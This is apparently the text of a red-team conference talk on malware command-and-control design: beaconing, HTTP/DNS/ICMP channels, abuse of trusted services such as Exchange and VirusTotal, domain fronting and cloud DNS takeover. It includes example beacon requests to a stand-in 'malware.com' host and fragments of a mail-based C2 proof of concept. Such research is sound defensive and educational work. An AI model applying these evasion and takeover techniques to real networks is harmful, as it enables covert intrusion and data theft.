Flying A False Flag

Advanced C2, Trust Conflicts, and Domain Takeover
Nick Landers: @monoxgas
Technical Lead,
Silent Break Security

- Research & Development
- Offensive Operations
- Consulting
- Dark Side Ops
- Shellcode RDI (sRDI)
- Red Team Toolkit (RTT)
[ agenda ]

- C2 Methodology
  - Techniques and Theory
- C2 Channels
  - Classic and Modern
- Trust Conflicts
  - Existing and Fresh
- Cloud Abuse & Takeover
  - The death of an IP
- Final Thoughts
command & control
[ software model ]

Client

Server

Channel

Perimeter
[ software model ]

- Channel Selection
- Redundancy
- Obfuscation
- Serialization
- Encryption
- Trust

Client

Server

Channel

Perimeter
[ malware model ]

- Channel Selection
- Redundancy
- Obfuscation
- Serialization
- Encryption
- Trust

Implant

LP
(listening post)

Channel

Perimeter
<table>
<thead>
<tr>
<th>Stage</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>User Input</td>
<td>“upload file.ext”</td>
</tr>
<tr>
<td>Parsing &amp; Prep</td>
<td><code>fdata = read(file.ext)</code></td>
</tr>
<tr>
<td>Serialization</td>
<td><code>0x420xFF0x420x54</code></td>
</tr>
<tr>
<td>Data Transfer</td>
<td><code>page?id=AABDlwIEjrl</code></td>
</tr>
<tr>
<td>Deserialization</td>
<td><code>0x420xFF0x420x54</code></td>
</tr>
<tr>
<td>Execution</td>
<td><code>write(fdata)</code></td>
</tr>
<tr>
<td>Implant</td>
<td></td>
</tr>
</tbody>
</table>
User Input | “upload file.ext”

Parsing & Prep | fdata = read(file.ext)

Serialization | \(0x420xFF0x420x54\)

Data Transfer | page?id=AABDlwIEjrl

Deserialization | \(0x420xFF0x420x54\)

Execution | write(fdata)
[methodology]

C2 = Technique

[strategy of execution]

+ Channel

[medium for communication]
[methodology]

C2 = Technique

[strategy of execution]

+ Channel

[medium for communication]
[technique]

- Orientation
- Interval
- Distribution
- Failover
- Routing
[ technique ]

- Orientation
- Interval
- Distribution
- Failover
- Routing

Implant

“Reverse”

LP
[ technique ]

- Orientation
- Interval
- Distribution
- Failover
- Routing

Implant

Operator

“Bind”
Efficient Attribution
Conditional

Attacker

Time

Tasking

Results

Victim

knocking web shells bind shells

(Processing)

Results
[ technique ]

- Orientation
- **Interval**
- Distribution
- Failover
- Routing
[ technique ]

- Orientation
- **Interval**
- Distribution
- Failover
- Routing

![Diagram showing relationships between server, implant, and 'Shell' with socket connections.](image)
[ implementation - beaconing ]

Consistent
Simple
Inefficient
Action Delay

LP

web transports
basic agents

Tasking

Results

(Processing)

Time

Victim
Responsive
Efficient
Conditional
Obscure

[ implementation – long polling ]
[ technique ]

- Orientation
- Interval
- Distribution
- Failover
- Routing
[ technique ]

- Orientation
- Interval
- Distribution
- Failover
- Routing
[ technique ]

- Orientation
- Interval
- Distribution
- Failover
- Routing
- Orientation
- Interval
- Distribution
- Failover
- Routing

[ technique ]

Implant

Bastion

Bastion

LP
[ technique ]

- Orientation
- Interval
- Distribution
- Failover
- Routing
Stealth
Complexity
Action Delay
channels
[sockets]

start simple®

Responsive
Simple
Still Popular

malware.com

host : DESKTOP3
os : win1903
user : Admin
EOF

implant
[sockets]

Responsive
Simple
+ Encryption

malware.com

nqPMcmBWJbpS1Prb4a
ZA5wT7rKeXrX6YNiMr
BeeMH6deHNWPNRFmdx
EOF

implant
[sockets]

Responsive
Simple
+ Encryption
+ SSL

malware.com

implant

nqPMcmBWJbpS1Prb4aZA5wT7rKeXrX6YNiMrBeeMH6deHNwPNRFmdxEOF
[ sockets ]

Responsive
Simple
+ Encryption
+ SSL
+ Chunking

malware.com

nqPMcmBWJbpS1Prb4a
EOF

ZA5wT7rKeXrX6YNiMr
EOF

implant
[ sockets ]

observer

1: Destination

malware.com

implant
[ sockets ]

Observer

1: Destination
2: Protocol

malware.com

implant

nqPMcmBWJbpS1Prb4a
EOF

ZA5wT7rKeXrX6YNiMr
EOF
[ sockets ]

Observer

1: Destination
2: Protocol ?
3: Volume

malware.com

implant

nqPMcmBWJbpS1Prb4a
EOF

ZA5wT7rKeXrX6YNiMr
EOF
sockets

malware.com

Observer

1: Destination
2: Protocol
3: Volume
4: Perimeter

implant
[ attacker priorities ]

1: Trust
   - Repositories (categorization, blacklists)
   - Takeover primitives
   - Piggybacking

2: Content
   - Masquerading (charset, frequency, volume)

3: Vector
   - Protocol and port + details
   - Orientation and architecture
   - Structure limitations
[ layers ]
comp sci strikes back

Application
Presentation
Session
Transport
Network
...


[ layers ]
comp sci strikes back

```
Network
Transport
Session
Presentation
Application
defensive coverage
Network
Transport
Session
Presentation
Application
```
comp sci strikes back

defensive coverage

layers

Application

Presentation

Session

Transport

Network

...
[ layers ]

HTTP
DNS
SMB
RDP
IMAP
LDAP
NFS
POP
SMTP
...

} Application

Presentation

Session

Transport

Network

...
GET /cb?info=aW9uZXNjdQ HTTP/1.1
User-Agent: Mozilla (Win64; x64)
Host: malware.com
Connection: Keep-Alive

- Common at the perimeter
- Layered on TCP - Reliability
- Complex dialect and usage
  - Encoded binary data isn’t rare
- Well supported in languages - Accessibility
POST /cb HTTP/1.1
User-Agent: Mozilla (Win64; x64)
Host: medicalwork.com
Authenticate: basic aW9uZXMjdQ
Connection: Keep-Alive

**Content:** Better masquerading
- Match/extract user-agent string
- Use POST requests for limited logging
- Use “sensitive” domains – medical / banking
- Embed in special headers to avoid inspection
GET /cb?info=aW9uZXNjdQ HTTP/1.1
User-Agent: Mozilla (Win64; x64)
Host: wellknown.com
Connection: Keep-Alive

**Trust**: Domain names

- Domain categorization and masquerading
- Expired domains
  - https://www.expireddomains.net/
  - https://www.freshdrop.com/
  - https://www.domcop.com
- Subdomain abuse – http://[attacker].trusted.com
GET /cb?info=aW9uZXNjdQ HTTP/1.1
User-Agent: Mozilla (Win64; x64)
Host: wellknown.com
Connection: Keep-Alive

Trust: Domain categorization

- **Palo Alto** - [https://urlfiltering.paloaltonetworks.com/TestASite.aspx](https://urlfiltering.paloaltonetworks.com/TestASite.aspx)
- **McAfee** - [https://www.trustedsource.org/en/feedback/url](https://www.trustedsource.org/en/feedback/url)
- **Blue Coat** - [https://sitereview.bluecoat.com/sitereview.jsp](https://sitereview.bluecoat.com/sitereview.jsp)
- **zVelo** - [https://tools.zvelo.com](https://tools.zvelo.com)
- **Fortinet** - [http://url.fortinet.net/rate/submit.php](http://url.fortinet.net/rate/submit.php)
- **Watchguard** - [https://www.watchguard.com/securityportal/UrlCategorization.aspx](https://www.watchguard.com/securityportal/UrlCategorization.aspx)
[ channel - http domains ]

GET /cb?info=aW9uZXNjdQ HTTP/1.1
User-Agent: Mozilla (Win64; x64)
Host: wellknown.com
Connection: Keep-Alive

**Trust**: Domain categorization

- Automated tooling
  - [https://github.com/mdsecactivebreach/Chameleon](https://github.com/mdsecactivebreach/Chameleon)
  - [https://github.com/threatexpress/domainhunter](https://github.com/threatexpress/domainhunter)
  - [https://github.com/GhostManager/DomainCheck](https://github.com/GhostManager/DomainCheck)
  - [https://github.com/Mr-Un1k0d3r/CatMyPhish](https://github.com/Mr-Un1k0d3r/CatMyPhish)
GET /help HTTP/1.1
Host: benign.com

GET /cb?info=aW9uZXNjdQ HTTP/1.1
Host: malware.com
Content: Reduce traffic volume

Trust: Add validity to your action space

- Can create benign traffic ahead of a callback
- Interesting alternative to domain fronting
- https://digi.ninja/blog/pipelining.php
GET /websocket HTTP/1.1

Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: c2VrdXI...

Trust: Less inspection
Vector: Add speed + push/pull
- Gateway support may be limited
- https://github.com/xorrior/raven
- https://github.com/ryhanson/ExternalC2/
[ channel - http/2 ]

Trust: Less inspection
Vector: Add speed + push/pull
- Gateway support may be is likely limited
- Transfer size reduction
- Binary support – “no more encoding!”
- https://github.com/Ne0nd0g/merlin
[ channel – dns ]

- Limited transfer size (>512 triggers TCP)
  - A = ~125b out | 4b back
  - AAAA = ~125b out | 16b back
  - TXT = ~125b out | ~190b back

- dnscat2\(^1\) | PowerDNS | DNS-C2 | DNSExfiltrator | etc.

- Simple to detect\(^2\) (volume, name length, unique subdomains)

---

1. [https://github.com/iagox86/dnscat2](https://github.com/iagox86/dnscat2)
Blended C2 approach
- Use for heartbeats / logic transitions
- Transfer alternate C2 profiles / encryption keys

DNS over HTTP – DoHC2\(^1\) | goDoH\(^2\)

Implement DNSSEC

Trade throughput for trusted net blocks - 8.X.X.X

\(^1\) https://github.com/SpiderLabs/DoHC2
\(^2\) https://github.com/sensepost/goDoH
[ layers ]

TCP  ICMP  UDP  MTCP

Application
Presentation
Session
Transport
Network
...

Network
Transport
Session
Presentation
Application
[ channel - icmp ]

- Arbitrary payload size
- Simple development
- Popular in the wild\(^1\) \(^2\)
- Simple to detect (entropy, mismatched, size)

\(^1\) https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-trojan-uses-icmp-packets-to-send-data/
Alternative codes *(timestamp, extended echo, etc.)*
- Smaller payloads with more volume
- Traditional echo requests for heartbeats
- Binary lookup tables – single byte flags
[ channel - nat punch ]

- Demonstrated in pwnat/chownat by Samy Kamkar
- Used to learn IP address for UDP NAT bypass
- Can invert traffic orientation

1 https://samy.pl/pwnat/
trust
conflicts
trusted assets

- Communication [ e-mail | chat | social ]
- Operations [ b2b | saas | internal | etc ]
- Security [ vendors | trust repos ]

- Generally Dead-Drop systems
- Provide Inherent Stealth
  - Perimeter exclusions
  - SIEM whitelisting
  - Analyst evasion
trusted abuse

- Communication [ e-mail | chat | social ]
- Operations [ b2b | saas | internal | etc ]
- Security [ vendors | trust repos ]

- Twitter : twittor¹ | ROKRAT²
- Multi-Site : HAMMERTOSS³ | Social-media-c2⁴

¹ https://github.com/PaulSec/twittor
³ https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf
⁴ https://github.com/woj-ciech/Social-media-c2
[ trusted abuse ]

- Communication [ e-mail | chat | social ]
- Operations [ b2b | saas | internal | etc ]
- Security [ vendors | trust repos ]

- **Slack**: SlackShell¹ | c2s² | slack-c2bot³
- **Skype**: skype-dev-bots⁴

¹ [https://github.com/bkup/SlackShell](https://github.com/bkup/SlackShell)
² [https://github.com/j3ssie/c2s](https://github.com/j3ssie/c2s)
⁴ [https://github.com/microsoft/skype-dev-bots](https://github.com/microsoft/skype-dev-bots)
trusted abuse

- Communication [ e-mail | chat | social ]
- Operations [ b2b | saas | internal | etc ]
- Security [ vendors | trust repos ]

- Gmail : Gcat¹ | Gdog²
- Exchange : ESET LightNeuron³

¹ https://github.com/byt3bl33d3r/gcat
² https://github.com/maldevel/gdog
[ poc - postoffice ]

PostOffice

EWS Mail C2 - Proof of Concept

- Account piggybacking
- SendGrid for server transit
- Data stuffing in X-Header
- Rule to auto-hide messages
- Credential reuse via WinInet + Vault
1. Pull endpoint settings and credentials
2. Configure the auto-hide rule
3. Send E-Mail C2 in X-Header
4. Inbound webhook forwards content

Victim

Attacker

Exchange:EWS

SendGrid

[ poc - postoffice ]
## Inbound Parse

<table>
<thead>
<tr>
<th>HOST</th>
<th>URL</th>
<th>SPAM CHECK</th>
<th>SEND RAW</th>
<th>SETTINGS</th>
</tr>
</thead>
<tbody>
<tr>
<td>c2.thedarkside.io</td>
<td>http://[redacted]/inbox</td>
<td>❌</td>
<td>❌</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Host</th>
<th>MX/Type</th>
<th>Time</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>c2</td>
<td>MX</td>
<td>1h</td>
<td>10 mx.sendgrid.net.</td>
</tr>
<tr>
<td>em3972</td>
<td>CNAME</td>
<td>1h</td>
<td>u11611044.wl045.sendgrid.net.</td>
</tr>
<tr>
<td>s1_domainkey</td>
<td>CNAME</td>
<td>1h</td>
<td>s1.domainkey.u11611044.wl045.sendgrid.net.</td>
</tr>
<tr>
<td>s2_domainkey</td>
<td>CNAME</td>
<td>1h</td>
<td>s2.domainkey.u11611044.wl045.sendgrid.net.</td>
</tr>
</tbody>
</table>
[ poc - postoffice ]

```python
nick@NickTesting:~$ sudo python3 post_office.py

EWS Mail C2 - Proof of Concept
```

```c
#include <Windows.h>
#include "EWS.h"
#include "Base64.h"
#include "Tasking.h"

#define RULE_NAME "KeepHandlerClean"
#define MOVE_FOLDER "deletes"
#define C2_MAILBOX "mailitems"
#define C2_HEADER "X-

#define LOOP_SLEEP 3 *

if (!ews.Initialize)
    printf("[!] Failed to initialize EWS connection\n1; return 1;
```
[ trusted abuse ]

- **Communication**  [ e-mail | chat | social]
- **Operations**  [ b2b | saas | internal | etc ]
- **Security**  [ vendors | trust repos ]

- **Office 365** : MWR Labs¹
- **GitHub** : canisrufus²
- **Google Drive** : DarkHydrus³

¹ [link](https://labs.mwrinfosecurity.com/blog/tasking-office-365-for-cobalt-strike-c2)
² [link](https://github.com/maldevel/canisrufus)
³ [link](https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/)
trusted abuse

- Communication [ e-mail | chat | social ]
- Operations [ b2b | saas | internal | etc ]
- Security [ vendors | trust repos ]

- **Active Directory**: harmj0y\(^1\)
- **MSSQL**: PowerUpSQL / NetSPI\(^2\)
- **File Shares**: outflank\(^3\)

\(^1\) [https://www.harmj0y.net/blog/powershell/command-and-control-using-active-directory/](https://www.harmj0y.net/blog/powershell/command-and-control-using-active-directory/)


trusted abuse

- Communication [ e-mail | chat | social]
- Operations [ b2b | saas | internal | etc ]
- Security [ vendors | trust repos ]

- Wikipedia : wikipedia-c2\(^1\)
- Pastebin : Aggah Campaign\(^2\)

\(^1\) https://github.com/daniel-infosec/wikipedia-c2
\(^2\) https://unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/
trusted abuse

- Communication [ e-mail | chat | social]
- Operations [ b2b | saas | internal | etc ]
- Security [ vendors | trust repos ]
[ poc - addendum ]

Addendum
VirusTotal C2 - Proof of Concept

- Stuffs data into office document properties
- Tracks sample uploads using comments
- Handles large payloads gracefully (1MB+)
- Ideal for static stages / downloads
1. Pack callback data in a office document

2. Upload sample for analysis

3. Tag/identify the file using comments

4. Extract callback from the web response

Victim

Attacker

VirusTotal
[ poc - addendum ]

C:\Users\Nick\Documents\Projects\Addendum
λ python addendum.py
cloud abuse & takeover
<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>AWS</td>
<td>47%</td>
</tr>
<tr>
<td>Azure</td>
<td>22%</td>
</tr>
<tr>
<td>Alibaba</td>
<td>8%</td>
</tr>
<tr>
<td>GCP</td>
<td>7%</td>
</tr>
</tbody>
</table>

- CDN endpoints
- Serverless architectures
- File hosting
- Message queues
- VPNs

- Lots of functionality – opportunity for abuse **but**
- We’ll stay focused on C2 primitives
[ the “issue” ]

Trust boundaries

Dynamic assets
[ the “issue” ]

Trust boundaries | Dynamic assets

Client → Server
Trust boundaries | Dynamic assets

Implant → LP

Trust Repository
[ the “issue” ]

Trust boundaries | Dynamic assets
[ the “issue” ]

Trust boundaries | Dynamic assets
uploads.azurewebsites.net
myresume.appspot.com
recruiter.amazonaws.com
meetings.blob.core.windows.net
security.cloudfront.net
reports.akamai.net
updates.akamaiedge.net
cdn.kunlungr.com
[ the “issue” ]

Trust boundaries | Dynamic assets

- How will **TLS** scale with the cloud?
- How does **DNS** cope with reallocation?
- How can we represent **ownership**?
- How do we prevent **misconfiguration**?
[ abuse - fronting ]

http://kittens.com/index.html

↓

[DNS] kittens.com : kittens.azureedge.net

↓

[DNS] kittens.azureedge.net : 1.2.3.4

↓

[TLS] I'm looking for kittens.com

1.2.3.4
GET /index.html
Host: kittens.azureedge.net
[ abuse - fronting ]

http://puppies.com/index.html

[DNS] puppies.com : puppies.azureedge.net

[DNS] puppies.azureedge.net : 1.2.3.4

[TLS] I'm looking for puppies.com

1.2.3.4
GET /index.html
Host: puppies.azureedge.net
[ abuse - fronting ]

kittens.com
GET /index.html
Host: puppies.azureedge.net

[DNS] kittens.com : 1.2.3.4

1.2.3.4
GET /index.html
Host: puppies.azureedge.net
[ abuse - file hosting ]

- Hosting static payloads in containers\(^1\)
- Shoveling dynamic data via containers\(^2\)

- **AWS - S3 Buckets**
  
  https://s3.amazonaws.com/[bucket]/[object]
  
  https://[bucket].s3.amazonaws.com/[object]

- **Azure - Blob Storage**
  
  https://[account].blob.core.windows.net/[container]/[object]?...

- **GCP - Cloud Storage**
  
  https://storage.googleapis.com/[bucket]/[object]
  
  https://[bucket].storage.googleapis.com/[object]

\(^1\) [https://pentestarmoury.com/2017/07/19/s3-buckets-for-good-and-evil/](https://pentestarmoury.com/2017/07/19/s3-buckets-for-good-and-evil/)

[ abuse - serverless code ]

▪ Pass-through traffic redirection¹
▪ Hosted C2 server²

▪ **AWS - Lambda**
  http://[id].execute-api.[region].amazonaws.com/[[function]]

▪ **Azure - Functions**
  http://[app].azurewebsites.net/api/[[function]]?code=[key]

▪ **GCP - App Engine**
  http://[app].appspot.com/[[function]]

² [https://github.com/aws/chalice](https://github.com/aws/chalice)
[ takeover primitives ]

DNS v Dynamic Stuff

- Orphaned records are common
- Prior research in the area
  - Analysis of DNS in CyberSecurity¹
  - AWS Route53 nameserver takeover²
  - 3rd party object re-collection³
  - Practical guide to subdomain takeover⁴
  - The Orphaned Internet: Taking over 120k domains⁵

² https://0xpatrik.com/subdomain-takeover-ns/
³ https://github.com/EdOverflow/can-i-take-over-xyz
⁴ https://www.exploit-db.com/docs/46415
Two primary schools of thought:
1. Go after CNAME records
2. Go after NS records

What about others?
- Can we target IP-based records?

“How quickly could we collect new addresses?”
“How would we accurately check for an orphan record?”
[ ip hunting concept ]

1. Collect a random IP

2. Query DNS repository for associated records

3. Keep the address for use

4. Repeat
[ record sets ]

- PTR Records
- Rapid7 OpenDNS
- Verisign Top Level Zone File
- WhoisXMLAPI Database
- SecurityTrails

1 https://opendata.rapid7.com/
3 https://dns-database-download.whoisxmlapi.com/
4 https://securitytrails.com/corp/pricing
CloudRacoon

Cloud IP Hunting  -  Proof of Concept

- Hunts for IPs linked to orphaned DNS records
- Uses cloud APIs for fast cycling
- Lookup is performed via SecurityTrails
- Tooling available for **AWS**, **Azure**, and **GCP**
[ poc - cloud racoon ]

PS C:\Users\Nick\Documents\Research\CloudTakeover\CloudRacoon> python .\racoon_aws.py
final thoughts
[ key points ]

- C2 is a very complex discipline
  - Implementations vary greatly
  - Any particular design is rarely random
- Lots of public information is already available
  - None of this is “theoretical” anymore
- We need to start solving these new problems
  - 3rd party abuse is growing
  - Cloud represents very unique challenges
[ what wasn’t covered ]

- **Offensive Infrastructure**
  - Asset collection and security
  - Traffic redirection
  - Stage segmentation

- **Architecture Details**
  - Integrating code with a C2 methodology
  - Encoding or encryption details
  - Language selection or framework limitation
  - Implementation Costs
[ additional resources ]

- MITRE Tactics
  https://attack.mitre.org/tactics/TA0011/
- Azeria Labs
  https://azeria-labs.com/command-and-control/
- RTI Wiki
  https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
- Domain Fronting Lists
  https://github.com/vysec/DomainFrontingLists
[ additional resources ]

- Subdomain Takeover Tooling
  - https://github.com/haccer/subjac
  - https://github.com/antichown/subdomain-takeover
  - https://github.com/SaadAhmedx/Subdomain-Takeover
  - https://github.com/LukaSikic/subzy
  - https://github.com/samhaxr/TakeOver-v1

- scanio.sh for takeover searching
  - https://gist.github.com/haccer/3698ff6927fc00c8fe533fc977f850f8
Thank you for coming!

@monoxgas

https://github.com/monoxgas/ (soon)

Questions?